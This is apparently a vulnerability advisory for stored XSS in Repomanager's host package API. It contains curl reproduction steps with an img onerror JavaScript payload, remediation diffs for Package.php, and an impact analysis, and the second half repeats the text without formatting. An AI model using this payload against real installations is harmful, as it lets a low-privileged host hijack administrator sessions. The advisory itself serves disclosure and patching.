Summary
An authenticated host (or any principal holding a host/API credential) can store arbitrary HTML/JavaScript in a host's package inventory via the agent API. The package name, version, and repository (repository only exists on the available update path) fields are neither validated on input nor HTML-escaped on output. When an administrator later opens that host's page in the web UI, the stored payload executes in the admin's browser.
Steps
- Log in to any user account, and generate a new personal API key
- Register as a host to a server. Paste in this curl command
curl -s -X POST http://localhost:8888/api/v2/host/registering \
-H "Authorization: Bearer <INSERT API KEY>" \
-H "Content-Type: application/json" \
-d '{"ip":"10.0.0.66","hostname":"evil-host"}'
- Copy token and Id from previous results command
- Push a malicious "installed package" using the returned host credential: Paste in this curl command:
curl -s -X PUT http://localhost:8888/api/v2/host/packages/installed \
-H "Authorization: Host id_<Insert ID>:<Insert Token>" \
-H "Content-Type: application/json" \
-d '{"installed_packages":[{"name":"<img src=x onerror=\"alert(`This is a Stored XSS attack on Repomanager!`)\">","version":"6.6.6"}]}'
- Navigate back to Repomanager, as an administrator, open HOSTS → evil-host. The payload executes in the
admin's browser. A real attacker would replace alert() with a script that forges admin actions using the admin's authenticated session.
PoC
First Curl Request

Second Curl Request

Results:


Additionally, for example we can see in line 286 of Package.php, input is not sanitized. (This comes after json_decode() is ran)

Recommendations/Remediation
Affected Files:
- controllers/Host/Package/Package.php Line 286 & 322
Ideally, we want protection on the input side of our code. This means changing the controller. We can use the Validate string function to help clear out XSS attacks or the htmlspecialchars. For this vulnerability, sanitizing on input is sufficient because these values are only rendered in an HTML context. Output escaping in the two view files below is still recommended as defense-in-depth, which is the more general protection against XSS: views/includes/tables/host/available-packages.inc.php and views/includes/containers/host/packages.inc.php
setPackagesInventory() (line 286)
Before:
foreach ($packages as $package) {
// If the package does not exist in database, add it
if (!$this->exists($package['name'])) {
After:
foreach ($packages as $package) {
// Sanitize host-supplied values before using them
$package['name'] = Validate::string($package['name']);
$package['version'] = Validate::string($package['version']);
// If the package does not exist in database, add it
if (!$this->exists($package['name'])) {
setPackagesAvailable() (line 322)
Before:
foreach ($packages as $package) {
// If name is empty, we skip this package
if (empty($package['name'])) {
continue;
}
After:
foreach ($packages as $package) {
// Sanitize host-supplied values before using them
$package['name'] = Validate::string($package['name']);
$package['version'] = Validate::string($package['version']);
$package['repository'] = Validate::string($package['repository'] ?? '');
// If name is empty, we skip this package
if (empty($package['name'])) {
continue;
}
Impact
Stored XSS executing in the administrator's authenticated session. An attacker who controls a registered host (or holds any host/API credential) can:
- Read any data visible to the admin (repositories, hosts, users, settings);
- Forge any admin action (there is no CSRF token on the AJAX/API layer);
- Escalate toward full server compromise by driving admin-only functionality.
The attacker is a low-privileged principal; the victim is the administrator, so the impact crosses a privilege boundary.
Summary
An authenticated host (or any principal holding a host/API credential) can store arbitrary HTML/JavaScript in a host's package inventory via the agent API. The package
name,version, andrepository(repository only exists on the available update path) fields are neither validated on input nor HTML-escaped on output. When an administrator later opens that host's page in the web UI, the stored payload executes in the admin's browser.Steps
admin's browser. A real attacker would replace
alert()with a script that forges admin actions using the admin's authenticated session.PoC
First Curl Request

Second Curl Request

Results:


Additionally, for example we can see in line 286 of Package.php, input is not sanitized. (This comes after json_decode() is ran)

Recommendations/Remediation
Affected Files:
Ideally, we want protection on the input side of our code. This means changing the controller. We can use the Validate string function to help clear out XSS attacks or the htmlspecialchars. For this vulnerability, sanitizing on input is sufficient because these values are only rendered in an HTML context. Output escaping in the two view files below is still recommended as defense-in-depth, which is the more general protection against XSS:
views/includes/tables/host/available-packages.inc.phpandviews/includes/containers/host/packages.inc.phpsetPackagesInventory() (line 286)
Before:
After:
setPackagesAvailable() (line 322)
Before:
After:
Impact
Stored XSS executing in the administrator's authenticated session. An attacker who controls a registered host (or holds any host/API credential) can:
The attacker is a low-privileged principal; the victim is the administrator, so the impact crosses a privilege boundary.